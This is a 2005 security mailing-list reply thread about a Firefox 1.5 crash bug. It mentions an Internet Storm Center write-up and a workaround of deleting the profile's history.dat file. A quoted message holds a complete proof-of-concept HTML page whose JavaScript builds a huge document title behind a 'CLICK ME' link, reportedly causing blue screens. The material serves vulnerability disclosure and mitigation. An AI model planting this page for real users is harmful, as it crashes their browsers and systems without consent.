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Re: Re: Firefox 1.5 buffer overflow (poc) - more buffer


From: Juha-Matti Laurio <juha-matti.laurio () netti fi>
Date: Sat, 10 Dec 2005 18:45:05 +0200 (EET)

Thanks for sharing the profile location information to prevent crash at the next browser start.
In fact, this was covered at Internet Storm Center earlier on Friday morning:
http://isc.sans.org/diary.php?storyid=920

- Juha-Matti

(Time to shorten long replies..)
--clip--

tip: only erasing \Documents and
Settings\Administrador.COMP-NAME\Dados de
aplicativos\Mozilla\Firefox\Profiles\history.dat

your firefox will start without crash your machine (blue screen) every
time you load it...

t+

2005/12/9, Fósforo <fosforo () gmail com>:
> It works here.
>
> seems it depends on how much ram you've. i got 2 blue screens, after
> changed the code a bit. the first one was about MEMORY_MANAGEMENT and
> the second one was a PAGE_FAULT_IN_NONPAGED_AREA. And both occurs
> without user interaction, the second one i just've opened firefox, not
> the bug file (maybe cache ?)
>
> ps: i've 1Gb of ram
>
> <html><head><title>heh</title><script type="text/javascript">
> function ex() {
>        var buffer = "";
>        for (var i = 0; i < 5000; i++) {
>                buffer += "A";
>        }
>        var buffer2 = buffer;
>        var buffer3 = buffer2;
>        for (i = 0; i < 500; i++) {
>                buffer2 += buffer;
>                for (i = 0; i < 500; i++) {
>                         buffer3 += buffer2;
>                }
>        }
>        document.title = buffer2;
> }
> </script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
> </a></body></html>
>

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